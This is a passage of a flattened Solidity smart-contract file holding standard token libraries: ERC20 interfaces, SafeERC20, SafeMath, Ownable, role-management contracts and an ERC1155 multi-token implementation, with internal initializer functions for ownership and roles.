* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function initOwnable() internal{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initMinter() internal{
_addMinter(_msgSender());
}
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title WhitelistAdminRole
* @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts.
*/
contract WhitelistAdminRole is Context {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
function initWhiteListAdmin() internal{
_addWhitelistAdmin(_msgSender());
}
constructor () internal {
_addWhitelistAdmin(_msgSender());
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role");
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(_msgSender());
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas
* @param _interfaceId The interface identifier, as specified in ERC-165
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
/**
* @dev ERC-1155 interface for accepting safe transfers.
*/
interface IERC1155TokenReceiver {
/**
* @notice Handle the receipt of a single ERC1155 token type
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value MUST result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4);
/**
* @notice Handle the receipt of multiple ERC1155 token types
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value WILL result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _amounts An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4);
/**
* @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types.
* @param interfaceID The ERC-165 interface ID that is queried for support.s
* @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface.
* This function MUST NOT consume more than 5,000 gas.
* @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported.
*/
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface IERC1155 {
// Events
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
/**
* @dev MUST emit when an approval is updated
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
* @dev MUST emit when the URI is updated for a token ID
* URIs are defined in RFC 3986
* The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema"
*/
event URI(string _amount, uint256 indexed _id);
/**
* @notice Transfers amount of an _id from the _from address to the _to address specified
* @dev MUST emit TransferSingle event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if balance of sender for token `_id` is lower than the `_amount` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external;
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev MUST emit TransferBatch event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if length of `_ids` is not the same as length of `_amounts`
* MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external;
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @dev MUST emit the ApprovalForAll event on success
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(value)(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of Multi-Token Standard contract
*/
contract ERC1155 is IERC165 {
using SafeMath for uint256;
using Address for address;
/***********************************|
| Variables and Events |
|__________________________________*/
// onReceive function signatures
bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61;
bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81;
// Objects balances
mapping (address => mapping(uint256 => uint256)) internal balances;
// Operator Functions
mapping (address => mapping(address => bool)) internal operators;
// Events
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _uri, uint256 indexed _id);
/***********************************|
| Public Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
public
{
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR");
require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT");
// require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations
_safeTransferFrom(_from, _to, _id, _amount);
_callonERC1155Received(_from, _to, _id, _amount, _data);
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
public
{
// Requirements
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR");
require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT");
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data);
}
/***********************************|
| Internal Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
*/
function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount)
internal
{
// Update balances
balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount
balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount
// Emit event
emit TransferSingle(msg.sender, _from, _to, _id, _amount);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)
*/
function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Check if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data);
require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE");
}
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
*/
function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH");
// Number of transfer to execute
uint256 nTransfer = _ids.length;
// Executing all transfers
for (uint256 i = 0; i < nTransfer; i++) {
// Update storage balance of previous bin
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit event
emit TransferBatch(msg.sender, _from, _to, _ids, _amounts);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...)
*/
function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
// Pass data if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived(msg.sender, _from, _ids, _amounts, _data);
require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE");
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved)
external
{
// Update operator status
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
public view returns (bool isOperator)
{
return operators[_owner][_operator];
}
/***********************************|
| Balance Functions |
|__________________________________*/
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
public view returns (uint256)
{
return balances[_owner][_id];
}
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)
public view returns (uint256[] memory)
{
require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH");
// Variables
uint256[] memory batchBalances = new uint256[](_owners.length);
// Iterate over each owner and token ID
for (uint256 i = 0; i < _owners.length; i++) {
batchBalances[i] = balances[_owners[i]][_ids[i]];
}
return batchBalances;
}
/***********************************|
| ERC165 Functions |
|__________________________________*/
/**
* INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)"));
*/
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
/**
* INTERFACE_SIGNATURE_ERC1155 =
* bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^
* bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^
* bytes4(keccak256("balanceOf(address,uint256)")) ^
* bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^
* bytes4(keccak256("setApprovalForAll(address,bool)")) ^
* bytes4(keccak256("isApprovedForAll(address,address)"));
*/
bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
if (_interfaceID == INTERFACE_SIGNATURE_ERC165 ||
_interfaceID == INTERFACE_SIGNATURE_ERC1155) {
return true;
}
return false;
}
}
/**
* @notice Contract that handles metadata related methods.
* @dev Methods assume a deterministic generation of URI based on token IDs.
* Methods also assume that URI uses hex representation of token IDs.
*/
contract ERC1155Metadata {
// URI's default URI prefix
string internal baseMetadataURI;
event URI(string _uri, uint256 indexed _id);
/***********************************|
| Metadata Public Function s |
|__________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* Token IDs are assumed to be represented in their hex format in URIs
* @return URI string
*/
function uri(uint256 _id) public view returns (string memory) {
return string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json"));
}
/***********************************|
| Metadata Internal Functions |
|__________________________________*/
/**
* @notice Will emit default URI log event for corresponding token _id
* @param _tokenIDs Array of IDs of tokens to log default URI
*/
function _logURIs(uint256[] memory _tokenIDs) internal {
string memory baseURL = baseMetadataURI;
string memory tokenURI;
for (uint256 i = 0; i < _tokenIDs.length; i++) {
tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json"));
